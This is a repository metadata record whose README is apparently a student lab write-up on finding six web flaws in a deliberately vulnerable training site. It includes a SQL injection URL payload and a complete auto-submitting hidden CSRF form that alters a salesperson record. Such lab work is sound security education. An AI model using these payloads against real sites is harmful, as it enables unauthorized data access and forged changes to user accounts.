{"id":24634660,"url":"https://github.com/lucianoscarpaci/pen-testing-live-targets","last_synced_at":"2026-01-28T09:03:33.219Z","repository":{"id":189381409,"uuid":"613466144","full_name":"lucianoscarpaci/Pen-Testing-Live-Targets","owner":"lucianoscarpaci","description":"Immerse yourself in a practical hacking exercise to gain valuable experience with prevalent security exploits. Explore six key vulnerabilities, including SQL injection, session hijacking, username enumeration, IDOR, XSS, and CSRF, for a comprehensive cybersecurity learning experience.","archived":false,"fork":false,"pushed_at":"2023-03-14T16:28:10.000Z","size":3324,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-25T09:13:24.029Z","etag":null,"topics":["csrf-attacks","cybersecurity","ethical-hacking","idor-attack","penetration-testing","practical-hacking-framework","session-hijacking","sqli-injection","username-enumeration","vulnerability-assessment","web-application-security","xss-attacks"],"latest_commit_sha":null,"homepage":"","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lucianoscarpaci.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-03-13T16:11:46.000Z","updated_at":"2025-01-04T03:09:03.000Z","dependencies_parsed_at":"2023-08-19T19:00:09.730Z","dependency_job_id":null,"html_url":"https://github.com/lucianoscarpaci/Pen-Testing-Live-Targets","commit_stats":null,"previous_names":["lucianoscarpaci/pen-testing-live-targets"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lucianoscarpaci%2FPen-Testing-Live-Targets","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lucianoscarpaci%2FPen-Testing-Live-Targets/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lucianoscarpaci%2FPen-Testing-Live-Targets/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lucianoscarpaci%2FPen-Testing-Live-Targets/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lucianoscarpaci","download_url":"https://codeload.github.com/lucianoscarpaci/Pen-Testing-Live-Targets/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244574798,"owners_count":20474818,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["csrf-attacks","cybersecurity","ethical-hacking","idor-attack","penetration-testing","practical-hacking-framework","session-hijacking","sqli-injection","username-enumeration","vulnerability-assessment","web-application-security","xss-attacks"],"created_at":"2025-01-25T09:13:27.196Z","updated_at":"2026-01-28T09:03:33.211Z","avatar_url":"https://github.com/lucianoscarpaci.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Pen Testing Live Targets\n\nTime spent: **10** hours spent in total\n\n\u003e Objective: Identify vulnerabilities in three different versions of the Globitek website: blue, green, and red.\n\nThe six possible exploits are:\n\n* Username Enumeration\n* Insecure Direct Object Reference (IDOR)\n* SQL Injection (SQLi)\n* Cross-Site Scripting (XSS)\n* Cross-Site Request Forgery (CSRF)\n* Session Hijacking/Fixation\n\nEach color is vulnerable to only 2 of the 6 possible exploits. First discover which color has the specific vulnerability, then write a short description of how to exploit it, and finally demonstrate it using screenshots compiled into a GIF.\n\n## Blue\n\nVulnerability #1: SQL Injecion (SQLi)\n\nDescription: The hacker visits the sales person \nRobert Hamilton ```/public/salesperson.php?id=4``` and injects this specific SQL into the URL\n```/public/salesperson.php?id=%27or%201=1--%27``` The URL returns the sales person Daron Burke.\n\n\u003cimg src=\"./blueexploit1.gif\"\u003e\n\nVulnerability #2: Session Hijacking/Fixation\n\nDescription: The victim Logs in to the website as the administrator, The hacker captures the administrator's session ID and logins into the administrator's account with the stolen session ID.\n\n\u003cimg src=\"./blueexploit2.gif\"\u003e\n\n\n## Green\n\nVulnerability #1: Username Enumeration\n\nDescription:\nWhen a hacker enters a correct username, they inspect the element of the username and find the ```class=failure``` element. If the username does not exist in the website, then the inspect of the username will return ```class=failed```. For example, the pperson username exists in the website but the ppersons username does not exist.\n\n\u003cimg src=\"./greenexploit1.gif\"\u003e\n\nVulnerability #2: Cross-Site Scripting (XSS)\n\nDescription:\nThe hacker takes advantage of a cross-site scripting vulnerablility in the contact form.\nWhen the administrator logs in, and visits the feedback page, they are attacked by a cross-site script.\n\n\u003cimg src=\"./greenexploit2.gif\"\u003e\n\n## Red\n\nVulnerability #1: Insecure Direct Object Reference (IDOR)\n\nDescription:\nThis link ```/red/public/salesperson.php?id=``` is vulnerable to Insecure Direct Object Reference.\nThe hacker uses the burp suite tool to find the hidden users. Inside burp suite, the hacker loads a scope of the red websites IP address, and sets a numbers payload in sequential order from 1 to 12 with a step of 1. When the attack starts, status code 200 indicates that a salesperson has been found. A status code 302 means that there is no salesperson found. In total there is 11 salesperson found by the attack. The attack exposes two new salesperson found by the attack.\n\n\u003cimg src=\"./redexploit1.gif\"\u003e\n\nVulnerability #2: Cross-Site Request Forgery (CSRF)\n\nDescription:\nThis site is not configured correctly for CSRF protection. A hacker can submit a hidden form\nin the feedback page that alters the salesperson's information. When the site is configured propertly, this action is only for the administrator. In my demostration video, I show how to change information of Ken Barker to Ken BAAAARRRLLER. When the Administrator follows the link, they submit the bad form. \n```\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003ctitle\u003eFAKE FORM\u003c/title\u003e\n    \u003c/head\u003e\n  \u003cbody onload=\"document.form.submit()\"\u003e\n    \u003cform action=\"https://35.184.88.145/red/public/staff/salespeople/edit.php?id=5\" method=\"POST\" name=\"form\" style=\"display: none;\" target=\"hidden_results\" \u003e\n      \u003cinput type=\"text\" name=\"first_name\" value=\"Ken\" /\u003e\n      \u003cinput type=\"text\" name=\"last_name\" value=\"BAAAARRRLLER\" /\u003e\n      \u003cinput type=\"text\" name=\"phone\" value=\"555-352-9654\" /\u003e\n      \u003cinput type=\"text\" name=\"email\" value=\"kbarker@salesperson.com\" /\u003e\n    \u003c/form\u003e\n    \u003ciframe name=\"hidden_results\" style=\"display:   none;\" \u003e\u003c/iframe\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n```\n\n\u003cimg src=\"./redexploit2.gif\"\u003e\n\n\n## Notes\n\nIt was difficult to find the exploits, it took many tries and hours to perform the operations.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flucianoscarpaci%2Fpen-testing-live-targets","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flucianoscarpaci%2Fpen-testing-live-targets","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flucianoscarpaci%2Fpen-testing-live-targets/lists"}